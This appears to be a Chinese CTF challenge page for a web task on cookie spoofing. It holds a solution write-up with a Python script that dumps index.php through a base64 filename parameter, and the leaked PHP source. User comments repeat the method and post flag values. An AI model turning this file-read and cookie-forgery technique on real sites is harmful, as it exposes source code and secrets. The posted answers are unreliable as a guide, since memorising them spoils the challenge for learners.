列表

详情


cookies

平台   WEB   已通过

题目作者: harry

一  血: ‌‌‌‌‌jiangdie666

一血奖励: 1金币

解  决: 5186

提  示:

描  述: cookies欺骗

站长题解:

跑出index.php源码来

import requests
import base64

file = base64.b64encode('index.php'.encode()).decode()

for i in range(30):
    url = f'http://114.67.175.224:11632/index.php?line={i}&filename={file}'
    s = requests.get(url)
    print(s.text)

源码

<?php

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(
'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>


然后构造 /index.php?line=&filename=base64('key.php')     修改 Cookie:margin=margin; 发请求获得flag

去做题

Red_Dusk @ 2024-05-09 23:20:25 👍0

火狐浏览器hackbar Url + /index.php?line=&filename=a2V5cy5waHA= cookies:margin=margin


r0ok1e @ 2024-05-07 23:20:25 👍1

import requests a=25 for i in range(a): url="xxxxx/index.php?line="+str(i)+"&filename=aW5kZXgucGhw==" s=requests.get(url) print(s.text) 跑出源码来就知道怎么做啦:)


一路奔腾 @ 2024-02-07 23:20:25 👍2

url中只需要把文件名改成keys.php的64编码,然后在加上cookie发包,页面为空,f12查看flag


菜鸡的小韩 @ 2024-05-07 23:20:25 👍1

大佬厉害


zhaiye @ 2023-12-07 23:20:25 👍0

for i in range(30): headers = { "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36&q


Anderlos @ 2023-11-07 23:20:25 👍0

bp不行的可以试试yakit,比较简单的设置cookie


xhanil @ 2023-10-07 23:20:25 👍0

url/index.php?line=&filename=a2V5cy5waHA== margin=margin用hackbar亲测有效


ikun604 @ 2023-09-07 23:20:25 👍0

编码,文件猜测,python脚本获取源代码,设置cookie


weekit @ 2023-09-07 23:20:25 👍0

flag{ce763cb4f9f5256380abe9ae5f63d087}


tcsys @ 2023-08-07 23:20:25 👍0

打开后302跳转,两个参数line和file,并且file是base64的keys.txt。通过file修改为aW5kZXgucGhw (index.php),通过line参数逐步遍历源码。再找到cookie和keys.php,同理列出flag。


18905608864 @ 2023-07-07 23:20:25 👍0

flag{080e1ca9d838cf6dc00c3efb671b4156}